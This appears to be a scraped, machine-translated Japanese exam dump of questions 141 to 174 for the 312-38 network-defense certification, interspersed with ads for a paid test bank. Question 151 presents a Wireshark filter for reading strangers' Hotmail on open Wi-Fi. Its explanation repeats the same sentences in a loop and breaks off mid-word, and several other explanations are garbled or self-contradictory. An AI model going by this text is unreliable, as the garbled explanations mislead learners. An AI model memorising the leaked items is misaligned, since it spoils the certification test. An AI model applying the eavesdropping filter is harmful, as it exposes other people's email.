別のユーザーがこのメッセージを表示すると、ブラウザがこのコードを解釈して実行し、その結果、攻撃者がユーザーのシステムを制御できるようになります。クロスサイトスクリプティング攻撃では、ユーザーのWeb環境内でJavaScript、Java、VBScript、ActiveX、Flashなどのクライアント側言語を実行する必要があります。クロスサイトスクリプティング攻撃の助けを借りて、攻撃者はCookieの盗用、セッションの乗っ取りなどを実行できます。

質問: **141**
米国を拠点とする組織は、データバックアップ計画にRAIDストレージテクノロジーを実装することを決定しました。Johnは、最低6台のドライブを必要とするRAIDレベルをセットアップしたいと考えていますが、高いフォールトトレランスを満たし、データの読み取りおよび書き込み操作を高速で実行します。Johnはこの要件を満たすためにどのRAIDレベルを検討していますか？
A. RAIDレベル5
B. RAIDレベル1
C. RAIDレベル10
D. RAIDレベル50
正解: **D** (コメントを発表する)

質問: **142**
スミスは、彼の会社のネットワーク脆弱性評価チームに任命されたIT技術者です。彼はチームの唯一のIT従業員です。他のチームメンバーには、経理、管理、出荷、およびマーケティングの従業員が含まれます。スミスとチームメンバーは、彼らがどのように進むかについて話し合うために彼らの最初の会議を持っています。ネットワーク脆弱性評価計画を作成するために彼らがすべき最初のステップは何ですか？
A. 彼らの最初のステップは、会社またはインタビューから現在収集しているデータを分析することです。

B. 彼らの最初のステップは、彼らの最終的な発見がどうなるかについての仮説を立てることです。
C. 彼らの最初のステップは、必要なドキュメントの取得、セキュリティポリシーとコンプライアンスのレビューです。
D. 彼らの最初のステップは、管理チームに示す最初のエグゼクティブレポートを作成することです。
正解: **(**正解を表示します**)**

質問: **143**
次のプロトコルのどれがワイヤレスネットワークで使用されていますか？
A. CSMA
B. アロハ
C. CSMA / CD
D. CSMA / CA
正解: **(**正解を表示します**)**

質問: **144**
次の説明のうち、FAT16ファイルシステムについて正しくないものはどれですか？それぞれの正解は
完全なソリューション。該当するものをすべて選択してください。
A. ファイルレベルのセキュリティはサポートしていません。
B. ディスクパーティションのサイズが大きくなるとクラスタサイズが大きくなるため、大きなディスクでうまく機能します。
C. Linuxオペレーティングシステムをサポートします。
D. ファイルレベルの圧縮をサポートします。
正解: **(**正解を表示します**)**
FAT16ファイルシステムは、16MBを超えるディスク用に開発されました。16ビットの割り当てテーブルエントリを使用します。ザ
FAT16ファイルシステムは、すべてのMicrosoftオペレーティングシステムをサポートします。また、OS/2とLinuxもサポートしています。
回答オプションCとAは正しくありません。これらの記述はすべて、FAT16ファイルシステムについて当てはまります。

質問: **145**
TCP / IPモデルの次のどのレイヤーが、メッセージが送信された順序で配信され、損失や重複がないことを保証することによってデータの整合性を維持しますか？
A. トランスポート層
B. リンク層
C. インターネット層
D. アプリケーション層

正解: (正解を表示します)
トランスポート層は、メッセージが送信された順序で配信され、損失や重複がないことを保証します。トランスポート層はデータの整合性を維持します。回答オプションCは正しくありません。TCP / IPモデルのインターネット層は、1つ以上のネットワークを介してパケットを送信する問題を解決します。インターネットワーキングでは、送信元ネットワークから宛先ネットワークにデータを送信する必要があります。このプロセスはルーティングと呼ばれます。IPは、さまざまな上位層プロトコルのデータを伝送できます。回答オプションBが正しくありません。TCP / IPモデルのリンク層は、ホストが接続されているローカルネットワーク接続のネットワークスコープです。TCP / IPはハードウェアに依存しないように設計されているため、これはインターネットプロトコルの最下位のコンポーネント層です。その結果、TCP / IPは、存在するほぼすべてのハードウェアネットワークテクノロジーの上に実装されています。リンク層は、同じリンク上の2つの異なるホストのインターネット層インターフェイス間でパケットを移動するために使用されます。特定のリンクでパケットを送受信するプロセスは、ネットワークカードのソフトウェアデバイスドライバーと、ファームウェアまたは専用チップセットの両方で制御できます。回答オプションDが正しくありません。TCP / IPモデルのアプリケーション層は、ネットワーク通信のためにほとんどのアプリケーションで使用される高レベルのプロトコルを指します。アプリケーション層プロトコルの例には、ファイル転送プロトコル（FTP）および簡易メール転送プロトコル（SMTP）が含まれます。次に、アプリケーション層プロトコルに従ってコード化されたデータは、1つ以上のトランスポート層プロトコルにカプセル化されます。

質問: **146**
次のうち、ステートフルファイアウォールとも呼ばれるものはどれですか？
A. PIXファイアウォール
B. ステートレスファイアウォール
C. DMZ
D. 動的パケットフィルタリングファイアウォール
正解: (正解を表示します)

質問: **147**
_____メソッドでは、イベントログは循環バッファの形式で配置されます。
A. ノンラッピング方式
B. ラッピング方法
C. LIFOメソッド
D. FIFO方式
正解: (正解を表示します)

質問: **148**
空白を埋める
空欄に適切な用語を記入してください。_____は通信プロトコルです
ネットワークルーターとマルチキャストエンドステーションの間で情報を通信します。

正解:
IGMP
Explanation:
インターネットグループ管理プロトコル（IGMP）は、情報を通信する通信プロトコルです。
ネットワークルーターとマルチキャストエンドステーションの間。これにより、受信者はマルチキャストデータを要求できます
特定のグループアドレスからのストリーム。ただし、マルチキャストトラフィックは単一のMACアドレスに送信されますが、
複数のホストによって処理されます。IGMPを使用すると、エンドステーションはマルチキャストグループに接続して脱退できます。
グループアドレスに接続されています。ゲームやオンラインビデオの表示に効果的に使用できます。
実際にはトランスポートプロトコルとして機能しませんが、ネットワーク層の上で動作します。これはに類似しています
ユニキャスト接続用のICMP。一部の攻撃の影響を受けやすいため、ファイアウォールは通常、ユーザーが無効にすることを許可します
必要がなければそれ。

質問: **149**
次のデバイスのうち、ワイヤレス通信デバイスがWi-Fi、Bluetooth、または関連する標準を使用してワイヤレスネットワークに接続できるのはどれですか？
A. エクスプレスカード
B. WAP
C. WNIC
D. ワイヤレスリピーター
正解: **(正解を表示します)**
ワイヤレスアクセスポイント（WAP）は、ワイヤレス通信デバイスがWi-Fi、Bluetooth、または関連する標準を使用してワイヤレスネットワークに接続できるようにするデバイスです。WAPは通常、有線ネットワークに接続し、ネットワーク上のワイヤレスデバイスと有線デバイス間でデータを送信できます。各アクセスポイントは、定義されたネットワークエリア内の複数のユーザーにサービスを提供できます。あるアクセスポイントの範囲を超えて移動すると、自動的に次のアクセスポイントに引き渡されます。小さなWLANには単一のアクセスポイントが必要です。ネットワーク内のアクセスポイントの数は、ネットワークユーザーの数とネットワークの物理的なサイズによって異なります。回答オプションCは正しくありません。ワイヤレスネットワークインターフェイスカード（WNIC）は、無線ベースのコンピュータネットワークに接続するネットワークカードです。トークンリングやイーサネットなどの有線ベースのネットワークに接続する通常のネットワークインターフェイスコントローラー（NIC）とは異なります。WNICは、NICと同様に、OSIモデルのレイヤー1とレイヤー2で機能します。WNICは、ワイヤレスデスクトップコンピュータに不可欠なコンポーネントです。このカードは、アンテナを使用してマイクロ波を介して通信します。デスクトップコンピュータのWNICは通常、PCIバスを使用して接続されます。回

答オプションAが正しくありません。PCMCIAによって導入された新しい標準であるExpressCardは、デスクトップおよびラップトップ向けのより薄く、より速く、より軽いモジュラー拡張です。ユーザーは、これらのモジュールをコンピューターに挿入することにより、メモリ、有線または無線の通信カード、およびセキュリティデバイスを追加できます。ExpressCardスロットは、Universal Serial Bus（USB）2.0またはPCIExpress標準のいずれかを使用するモジュールに対応するように設計されています。ExpressCardモジュールには2つのサイズがあります。つまり、幅34 mm（ExpressCard / 34）および幅54 mm（ExpressCard / 54）です。どちらのモジュールも長さ75mm、高さ5mmです。ExpressCard /34モジュールは54mmスロットまたは34mmスロットのいずれかに挿入できますが、ExpressCard / 54にはユニバーサル（54 mm）スロットが必要です。ただし、エクステンダーをExpressCard / 34スロットで使用して、コンピューターの外部からExpressCard/54モジュールを接続できます。どちらのモジュールもパフォーマンスは同じです。PCIExpressまたはUSB2.0インターフェースの機能を最大限に活用します。それらの唯一の違いは、ExpressCard / 54フォームファクターは、表面積が大きいため、ExpressCard/34よりも大きな熱放散を可能にすることです。パフォーマンスはモジュールサイズによって変化しないため、モジュール開発者は通常、アプリケーションをより小さなExpressCard/34フォームファクタに適合させることを好みます。しかし、いくつかのアプリケーションは、SmartCardリーダーやCompactFlashリーダーなどには、ExpressCard/54モジュールの余分な幅が必要です。回答オプションDが正しくありません。ワイヤレスリピーターは、ワイヤレスルーターとコンピューター間のリピーターとして機能するネットワークデバイスです。クライアントがアクセスポイントのサービスエリア外にあるときに、クライアントをネットワークに接続するために使用されます。ワイヤレスリピーターが適切に構成されている場合、ワイヤレスLANネットワークの範囲が拡張されます。

質問: **150**
TCP / IPモデルにはいくつのレイヤーがありますか？
A. 4
B. 7
C. 5
D. 10
正解: **(**正解を表示します**)**

質問: **151**
悪意のあるハッカーであるAdamは、ローカルストアにある保護されていないWi-Fiネットワークをwiresharkで盗聴して、ホットメールの電子メールトラフィックをキャプチャしています。彼は、多くの人が店内のWebを閲覧するためにラップトップを使用していることを知っています。Adamは、保護されていないWi-Fiネットワークを通過する電子メールメッセージを盗聴したいと考えています。Hotmailの電子メールメッセージを含むパケットのみを表示するようにAdamが構成するWiresharkフィルターは次のうちどれですか？
A. （http = "login.pass.com"）&&（httpには "SMTP"が含まれています）

B. (http には "email"が含まれています) && (http には "hotmail"が含まれています)
C. (http には "hotmail"が含まれています) && (http には "Reply-To"が含まれています)
D. (http = "login.passport.com") && (http には "POP3"が含まれています)
正解: **(正解を表示します)**
Adamは、(http には "hotmail"が含まれています) && (http には "Reply-To"が含まれています) フィルターを使用して、hotmail電子メールメッセージを含むパケットのみを表示します。各Hotmailメッセージには、受信したタグにReply-To :タグと "xxx-xxx-xxx.xxxx.hotmail.com"が含まれています。Wiresharkは、無料のパケットスニファコンピュータアプリケーションです。これは、ネットワークのトラブルシューティング、分析、ソフトウェアと通信プロトコルの開発、および教育に使用されます。Wiresharkはtcpdumpに非常に似ていますが、グラフィカルなフロントエンドと、より多くの情報の並べ替えとフィルタリングのオプションがあります。ネットワークインターフェイスをプロミスキャスモードにすることで、ユーザーはネットワーク（通常はイーサネットネットワークですが、他のネットワークではサポートが追加されています）を通過するすべてのトラフィックを確認できます。Wiresharkはpcapを使用してパケットをキャプチャします。そのため、pcapでサポートされているネットワーク上のパケットのみをキャプチャできます。次の機能があります。データは、ライブネットワーク接続から（"ネットワークから"）キャプチャするか、すでにキャプチャされたパケットを記録するファイルから読み取ることができます。ライブデータは、イーサネット、IEEE 802.11、PPP、ループバックなど、さまざまな種類のネットワークから読み取ることができます。キャプチャされたネットワークデータは、GUIを介して、またはユーティリティのターミナル（コマンドライン）バージョンであるtsharkを介して参照できます。キャプチャされたファイルは、プログラムで編集したり、コマンドラインスイッチを介して "editcap"プログラムに変換したりできます。データ表示は、表示フィルターを使用して調整できます。新しいプロトコルを分析するためのプラグインを作成できます。回答オプションB、A、およびDは正しくありません。これらは無効なタグです。ライブネットワーク接続から、またはすでにキャプチャされたパケットを記録するファイルから読み取ります。ライブデータは、イーサネット、IEEE 802.11、PPP、ループバックなど、さまざまな種類のネットワークから読み取ることができます。キャプチャされたネットワークデータは、GUIを介して、またはユーティリティのターミナル（コマンドライン）バージョンであるtsharkを介して参照できます。キャプチャされたファイルは、プログラムで編集したり、コマンドラインスイッチを介して "editcap"プログラムに変換したりできます。データ表示は、表示フィルターを使用して調整できます。新しいプロトコルを分析するためのプラグインを作成できます。回答オプションB、A、およびDは正しくありません。これらは無効なタグです。ライブネットワーク接続から、またはすでにキャプチャされたパケットを記録するファイルから読み取ります。ライブデータは、イーサネット、IEEE 802.11、PPP、ループバックなど、さまざまな種類のネットワークから読み取ることができます。キャプチャされたネットワークデータは、GUIを介して、またはユーティリティのターミナル（コマンドライン）バージョンであるtsharkを介して参照できます。キャプチャされたファイルは、プログラムで編集したり、コマンドラインスイッチを介して "editcap"プログラムに変換したりできます。データ表示は、表示フィルターを使用して調整できます。新しいプロトコルを分析するためのプラグインを作成できます。回答オプションB、A、およびDは正しくありません。これらは無効なタグです。または、ユー

ティリティのターミナル（コマンドライン）バージョンであるtsharkを介して。キャプチャされたファイルは、プログラムで編集したり、コマンドラインスイッチを介して「editcap」プログラムに変換したりできます。データ表示は、表示フィルターを使用して調整できます。新しいプロトコルを分析するためのプラグインを作成できます。回答オプションB、A、およびDは正しくありません。これらは無効なタグです。または、ユーティリティのターミナル（コマンドライン）バージョンであるtsharkを介して。キャプチャされたファイルは、プログラムで編集したり、コマンドラインスイッチを介して「editcap」プログラムに変換したりできます。データ表示は、表示フィルターを使用して調整できます。新しいプロトコルを分析するためのプラグインを作成できます。回答オプションB、A、およびDは正しくありません。これらは無効なタグです。

有効的な**312-38**問題集はJPNTest.com提供され、**312-38**試験に合格することに役に立ちます！JPNTest.comは今最新**312-38**試験問題集を提供します。JPNTest.com 312-38試験問題集はもう更新されました。ここで**312-38**問題集のテストエンジンを手に入れます。最新版のアクセス、https://www.jpntest.com/shiken/312-38-mondaishu　**732**問、３０%ディスカウント、特別な割引コード: **JPNshiken**」

質問: **152**
データが1台のコンピューターから別のコンピューターに送信されるときに、ルーターとホストコンピューターが基本的な制御情報を交換できるようにする保守プロトコルは、次のうちどれですか。
A. IGMP
B. ICMP
C. SNMP
D. BGP
正解: **B** (コメントを発表する)
インターネット制御メッセージプロトコル（ICMP）は、データが1台のコンピューターから別のコンピューターに送信されるときに、ルーターとホストコンピューターが基本的な制御情報を交換できるようにする保守プロトコルです。これは通常、IP層の一部と見なされます。これにより、ネットワーク上のコンピューターがエラーおよびステータス情報を共有できるようになります。IPデータグラム内にカプセル化されたICMPメッセージは、ネットワーク接続のトラブルシューティングに非常に役立ち、インターネット全体にルーティングできます。
回答オプションDが正しくありません。BGPは、ボーダーゲートウェイプロトコルの略です。これは、自律システム間ルーティングプロトコルであり、Exterior Gateway Protocol（EGP）の形式です。このプロトコルは、RFC-1267およびRFC-1268で定義されています。これは、他のBGPシステムとネットワーク到達可能性情報を交換するために使用されます。この情報には、特定のネットワークに到達するためにネットワークトラフィックがカバーしなければならない中間自律システムの完全なリストが含まれています。この情報は、自律システム間のループのないドメイン間ルーティングを把握するために使用されます。

BGP-4はBGPの最新バージョンです。
回答オプションAが正しくありません。インターネットグループ管理プロトコル（IGMP）は、IPマルチキャストグループ内のすべてのメンバーデバイス間でメッセージと情報をマルチキャストする通信プロトコルです。ただし、マルチキャストトラフィックは単一のMACアドレスに送信されますが、複数のホストによって処理されます。ゲームやオンラインビデオの表示に効果的に使用できます。IGMPは、ネットワーク攻撃に対して脆弱です。
回答オプションCは正しくありません。Simple Network Management Protocol（SNMP）は、TCP / IPプロトコルスイートの一部であり、ユーザーがネットワークを管理できるようにします。SNMPは、ネットワークで何が使用されているか、およびオブジェクトがどのように動作しているかを追跡するために使用されます。

質問: **153**
次のプロトコルのどれが電子メールに使用されますか？
A. TELNET
B. SMTP
C. SSH
D. MIME
正解: **B (**コメントを発表する**)**

質問: **154**
これは、IEEE 802.11a、802.11bを使用して無線LANを検出するために使用されるWindowsベースのツールです。
および802.11g規格。これらのツールの主な機能は次のとおりです。
ワイヤレスネットワークの信号強度、MACアドレス、SSID、チャネルの詳細などを表示します。
これは通常、次の目的で使用されます。
a。ウォードライビング
b。不正なアクセスポイントの検出
c.WLANでの干渉の原因の検出
d.WEPICVエラー追跡
e。信号強度を含む802.11データのグラフとアラームの作成
このツールは_____として知られています。
A. キスメット
B. アブサン
C. THC-スキャン
D. NetStumbler
正解: **(**正解を表示します**)**
NetStumblerは、IEEE802.11aを使用した無線LANの検出に使用されるWindowsベースのツールです。
802.11b、および802.11g標準。NetStumblerの主な機能は次のとおりです。
ワイヤレスネットワークの信号強度、MACアドレス、SSID、チャネルの詳細などを表示します。

これは通常、次の目的で使用されます。
a。ウォードライビング
b。不正なアクセスポイントの検出
c.WLANでの干渉の原因の検出
d.WEPICVエラー追跡
e。信号強度を含む802.11データのグラフとアラームの作成
回答オプションAが正しくありません。Kismetは、IEEE 802.11レイヤー2ワイヤレスネットワーク検出器、スニファ、および侵入です
検出システム。
回答オプションCは正しくありません。THC-Scanはウォーダイヤルツールです。
回答オプションBが正しくありません。Absintheは自動化されたSQLインジェクションツールです。

質問: **155**
あなたがネットワーク管理者であり、会社が従業員の利用規定（AUP）の草案を作成するように依頼したとします。AUPは、情報セキュリティポリシーのどのカテゴリに分類されますか？
A. インシデント対応ポリシー（IRP）
B. エンタープライズ情報セキュリティポリシー（EISP）
C. システム固有のセキュリティポリシー（SSP）
D. 特定のセキュリティポリシー（ISSP）を発行する
正解: **(正解を表示します)**

質問: **156**
IoTデバイスをハッキングし、大量のネットワークトラフィックをWebサーバーに向けて、サーバーに接続を過負荷にし、新しい接続を阻止するために使用される攻撃の種類はどれですか？
A. XSS
B. XCRF
C. DDoS
D. スニッフィング
正解: **(正解を表示します)**

質問: **157**
ステファニーは現在、電子メールのセキュリティを設定しているため、電子メールを介して渡されるときにすべての会社のデータが保護されます。
ステファニーは最初に暗号化を設定して、特定のユーザーの電子メールが保護されていることを確認します。次に、彼女は、受信メールと送信メールがデジタル署名を使用して変更または変更されていないことを確認する必要があります。ステファニーは何に取り組んでいますか？
A. 使いやすさ
B. 守秘義務
C. 可用性

D. データの整合性
正解: (正解を表示します)

質問: **158**
次の復旧計画のうち、特定の安全上の問題または緊急事態につながる特定の差異の仮定に対処するための特定の戦略とアクションが含まれているのはどれですか？
A. 災害サバイバルプラン
B. なし
C. 事業継続計画
D. 緊急計画
正解: (正解を表示します)

質問: **159**
登録されたポートの範囲はどのくらいですか？
A. 49152から65535
B. 65535以上
C. 1024～49151
D. 0～1023
正解: (正解を表示します)

質問: **160**
ネットワークに沿ってデータパケットを転送するのに役立つ電子デバイスは次のうちどれですか？
A. ゲートウェイ
B. リピーター
C. ハブ
D. ルーター
正解: (正解を表示します)

質問: **161**
ツリーネットワークで構成されるシナリオを考えてみましょう。ルートノードNは、2つのmanノードN1とN2に接続されています。
N1はN11とN12に接続されています。N2はN21とN22に接続されています。メインノードのいずれかに障害が発生した場合はどうなりますか？
A. メインノードの障害は、メインノードに関係なく、同じレベルの他のすべての子ノードに影響します。
B. 子ノードまたはその送信に障害を引き起こしません
C. ルートノードにのみ影響します
D. メインノードに障害が発生すると、メインノードに接続されている関連するすべての子ノードに影響します

正解: (正解を表示します)

質問: **162**
次の手順のうち、セキュリティ担当者が識別、軽減、および回復できるように設計されているのはどれですか
システムまたはデータへの不正アクセス、サービス拒否、または
システムのハードウェア、ソフトウェア、またはデータへの不正な変更？
A. サイバーインシデント対応計画
B. 危機コミュニケーション計画
C. 災害復旧計画
D. 乗員緊急計画
正解: (正解を表示します)
サイバーインシデント対応計画は、組織のITシステムに対するサイバー攻撃に対処するために使用されます
さまざまな手順で。これらの手順により、セキュリティ担当者は識別、軽減、および回復できます
サービス拒否攻撃、システムへの不正アクセス、または
データ、またはシステムのハードウェア、ソフトウェア、またはデータへの不正な変更。
回答オプションCは正しくありません。災害復旧計画には、次のようなデータ、ハードウェア、およびソフトウェアが含まれている必要があります。
ビジネスにとって重要です。また、ハードディスクのクラッシュなどの突然の損失に対する計画も含める必要があります。ビジネス
データの損失を制限するために、バックアップおよびデータ回復ユーティリティを使用する必要があります。
回答オプションDが正しくありません。乗員緊急計画（OEP）は、人員へのリスクを軽減するために使用されます。
緊急時に作業障害を最小限に抑えながら、資産やその他の資産。応答です
に潜在的な脅威をもたらしている状況の発生に関する施設の居住者のための手順
人員、環境、または財産の健康と安全。OEPは、施設レベルで開発されています。
建物の地理的位置と構造設計に。
回答オプションBが正しくありません。危機コミュニケーション計画は、
危機的状況の前、最中、または後に情報を交換する。それは一般のサブスペシャリティと見なされます
直面している個人、企業、または組織を保護および防御するように設計された関係専門職
その評判への公の挑戦。危機的コミュニケーション計画の目的は、組織が達成するのを支援することです
危機、災害、またはイベント主導の下での重要なビジネスプロセスと情報フローの継続性
状況。

質問: **163**
空白を埋める

空欄に適切な用語を記入してください。_____は、
固定デバイスおよびモバイルデバイスからの短距離でのデータ交換。
正解:
ブルートゥース
Explanation:
Bluetoothは、固定および固定からの短距離でデータを交換するためのオープンワイヤレステクノロジ標準です。
モバイルデバイス、
高レベルのセキュリティを備えたパーソナルエリアネットワークを作成します。1994年に通信ベンダーのエリクソンによって作成されました。
もともとはRS-232データケーブルのワイヤレス代替として考案されました。複数のデバイスを接続できます。
同期の問題を克服します。現在、BluetoothはBluetooth SpecialInterestGroupによって管理されています。

質問: **164**
OSIモデルの次の層のうち、エンドツーエンドの接続と信頼性を提供するのはどれですか？
A. 物理層
B. セッション層
C. ネットワーク層
D. トランスポート層
正解: **D (**コメントを発表する**)**

質問: **165**
次のIEEE標準のうち、Fast Basic Service Set Transitionとも呼ばれるものはどれですか？
A. 802.11b
B. 802.11e
C. 802.11a
D. 802.11r
正解: **(**正解を表示します**)**

質問: **166**
経営陣は、組織のリスク要因を計算したいと考えています。組織のネットワーク管理者であるKevinは、リスク要因の計算方法を知っています。リスクファクターを計算する前に、特定のパラメーターが必要です。彼らは何ですか？（該当するものをすべて選択してください）危険因子 = ... X .....X.....。
A. 攻撃
B. 影響
C. 脆弱性
D. 脅威

正解: (正解を表示します)

有効的な**312-38**問題集はJPNTest.com提供され、**312-38**試験に合格することに役に立ちます！JPNTest.comは今最新**312-38**試験問題集を提供します。JPNTest.com 312-38試験問題集はもう更新されました。ここで**312-38**問題集のテストエンジンを手に入れます。最新版のアクセス、https://www.jpntest.com/shiken/312-38-mondaishu 732問、３０%ディスカウント、特別な割引コード: **JPNshiken**」

質問: **167**
ネットワークセキュリティは専門分野であり、コンピュータネットワークおよびネットワークアクセス可能なリソースの不正アクセス、誤用、変更、または拒否を防止および監視するためにネットワーク管理者が採用した規定とポリシーで構成されています。次の理由のうち、ネットワークセキュリティが必要なのはどれですか？それぞれの正解は完全な解決策を表しています。該当するものをすべて選択してください。
A. 情報を損失から保護し、目的地に適切に配信するため
B. 許可されていないユーザーによる誤ったまたは意図的な編集から情報を保護するため
C. インターネット上の個人情報を保護するため
D. ユーザーが第三者の名前で別のユーザーにメッセージを送信するのを防ぐため
正解: (正解を表示します)
ネットワークセキュリティが必要な理由は次のとおりです。インターネット上の個人情報を保護するため意図しないユーザーによる誤ったまたは意図的な編集から情報を保護するため情報の損失から保護し、適切に宛先に配信するためユーザーがメッセージを送信するのを防ぐため第三者の名前を持つ別のユーザー

質問: **168**
正しいテキスト
空欄に適切な用語を記入してください。_____は、ネットワーク探索とセキュリティ監査のための無料のオープンソースユーティリティであり、コンピュータネットワーク上のコンピュータとサービスを検出して、ネットワークの 『マップ』を作成するために使用されます。
正解:
Nmap
Explanation:
Nmapは、ネットワーク探索とセキュリティ監査のための無料のオープンソースユーティリティです。これは、コンピュータネットワーク上のコンピュータとサービスを検出するために使用され、ネットワークの 『マップ』を作成します。多くの単純なポートスキャナーと同様に、Nmapはパッシブサービスを検出できます。さらに、Nmapは、リモートコンピュータに関するさまざまな詳細を判別できる場合があります。これらには、オペレーティングシステム、デバイスタイプ、稼働時間、サービスの実行に使用されるソフトウェア製品、その製品の正確なバージョン番号、いく

つかのファイアウォール技術の存在、およびローカルエリアネットワークではリモートネットワークカードのベンダーが含まれます。Nmapは、Linux、MicrosoftWindowsなどで実行されます。

質問: **169**
ライルは、ネブラスカにある中規模のフードサービス供給会社のITディレクターです。ライルの会社は300人以上の労働者を雇用しており、その半分はコンピューターを使用しています。彼は最近、論理セキュリティに関するセキュリティトレーニングセミナーから戻ってきました。彼は今、自分の会社が可能な限り安全であることを確認したいと考えています。ライルには、ネットワーク全体に多くのネットワークノードとワークステーションノードがあります。彼には、ネットワーク全体のソリューションを実装する時間があまりありません。彼は主に、パケットが悪意のあるものであることが判明した場合にパケットをドロップできるソリューションを使用して、ネットワークへの外部攻撃を防ぐことに関心を持っています。ライルはまた、このソリューションが簡単に実装でき、ネットワーク全体に広がることを望んでいます。ライルにはどのタイプのソリューションが最適ですか？
A. NEPTの実装が最良の選択です。
B. 彼の会社のセキュリティニーズにより良く対応するために、ライルはHIDSシステムを使用する必要があります。
C. HIPSソリューションを選択する必要があります。これは、彼のニーズに最も適しているためです。
D. ライルはNIPSの実装を選択した場合に最適です
正解: **(**正解を表示します**)**

質問: **170**
次の送信モードのうち、データが交互に送受信されるのはどれですか？
A. 全二重モード
B. ブリッジモード
C. シンプレックスモード
D. 半二重モード
正解: **D (**コメントを発表する**)**

質問: **171**
OSIモデルの次の層のうち、ホスト間通信を提供するのはどれですか？
A. セッション層
B. トランスポート層
C. ネットワーク層
D. アプリケーション層
正解: **(**正解を表示します**)**

質問: **172**
データロガーとコンピューター間のローカル通信を提供するデバイスは次のうちどれですか？

A. コントローラーレスモデム
B. 光モデム
C. 音響モデム
D. 短距離モデム
正解: **(**正解を表示します**)**
短距離モデムは、データロガーとコンピューター間のローカル通信を提供するデバイスです。
RS-232シリアルポート付き。4線式の無条件回線（2本のツイスト）を介して最大6.5マイルのデータを送信します
ペア）。
回答オプションBが正しくありません。光モデムは、コンピュータの電子機器を変換するために使用されるデバイスです
光ファイバを介して伝送するための光信号への信号。また、光からの光信号を変換します
光ファイバーケーブルを電子信号に戻します。非常に使用するため、より高いデータ伝送速度を提供します
データを伝送するための大容量の光ファイバーケーブル。
回答オプションCは正しくありません。音響モデムは、水中での無線通信を提供します。最適
ワイヤレス音響モデムシステムのパフォーマンスは、音速、水深、存在に依存します
水温躍層ゾーン、周囲ノイズ、および季節変化の。
回答オプションAが正しくありません。コントローラレスモデムは、ハードウェアベースのモデムであり、
物理通信ポートコントローラ回路。WinModemまたはソフトウェアモデムとも呼ばれます。A
コントローラレスモデムは非常に安価で、新しいソフトウェアで簡単にアップグレードできます。

質問: **173**
ドラッグドロップ
説明と一致するように用語をドラッグアンドドロップします。
選択して配置：
正解:
Explanation:
以下は、それらの説明とともに用語です。
トロイの木馬は、隠されたコードを含み、通常のようになりすます悪意のあるソフトウェアプログラムです。
プログラム。トロイの木馬プログラムが実行されると、その隠しコードが実行され、ハード上のデータが破壊またはスクランブルされます
ディスク。トロイの木馬の例は、ユーザーを取得するためにコンピューターのログオンを装うプログラムです。
名前とパスワード情報。トロイの木馬の開発者は、後でこの情報を使用して取得できます
コンピューターへの不正アクセス。トロイの木馬は通常、電子メールの添付ファイルによって拡散します。pingスイープは

IPアドレスの範囲のどれがライブホストにマップされるかを決定するために使用される手法。ICMPECHOで構成されています
複数のホストに送信されたリクエスト。指定されたアドレスが有効な場合、ICMPECHO応答を返します。pingはよくあります
ネットワークデバイスが機能していることを確認するために使用されます。ネットワークでpingスイープを無効にするために、管理者は次のことができます。
外部ソースからのICMPECHO要求をブロックします。ただし、ICMPTIMESTAMPおよびICMPINFOは使用できます
同様の方法で。Spamwareは、スパマーによって、またはスパマーが自動スパム電子メールを送信するために設計されたソフトウェアです。
Spamwareは、電子メールアドレスを検索して、次のいずれかに使用される電子メールアドレスのリストを作成するために使用されます。
直接スパムを送信するか、スパマーに販売されます。スパムウェアパッケージには、電子メール収集ツールも含まれています。
バックドアとは、ハッカーが通常の方法でコンピュータに接続できるようにするプログラムです。
認証プロセス。このタイプの攻撃の主な利点は、ネットワークトラフィックが内部から移動することです。
ハッカーのコンピューターへのネットワーク。ネットワークの内側から外側の世界に移動するトラフィックは、通常、
企業は、何よりもネットワークに何が入るのかを懸念しているため、最も制限が少なくなります。それを残します。そのため、バックドアの検出が困難になります。

質問: **174**
システムがROMモニターモードに入る条件は次のうちどれですか？それぞれの正解は完全な解決策を表しています。該当するものをすべて選択してください。
A. ルータに設定ファイルがありません。
B. 動作パラメータを設定する必要があります。
C. ユーザーが起動シーケンスを中断します。
D. ルータが有効なオペレーティングシステムイメージを見つけられません。
正解: **C,D** (コメントを発表する)
ルータが有効なオペレーティングシステムイメージを見つけられない場合、またはユーザがブートシーケンスを中断した場合、システムはROMモニタモードに入ります。ROMモニターモードから、ユーザーはデバイスを起動したり、診断テストを実行したりできます。
回答オプションAが正しくありません。ルーターに構成ファイルがない場合、ユーザーがルーターをオンにすると、ルーターは自動的にセットアップモードになります。セットアップモードは初期構成を作成します。
回答オプションBが正しくありません。特権EXECは、動作パラメータの設定に使用されます。

有効的な**312-38**問題集はJPNTest.com提供され、**312-38**試験に合格することに役に立ちます！JPNTest.comは今最新**312-38**試験問題集を提供します。JPNTest.com 312-38試験問題集はもう更新されました。ここで**312-38**問題集のテストエンジンを手に入れます。最新版のアクセス、https://www.jpntest.com/shiken/312-38-mondaishu　**732**問、３０%ディスカウント、特別な割引コード: **JPNshiken**」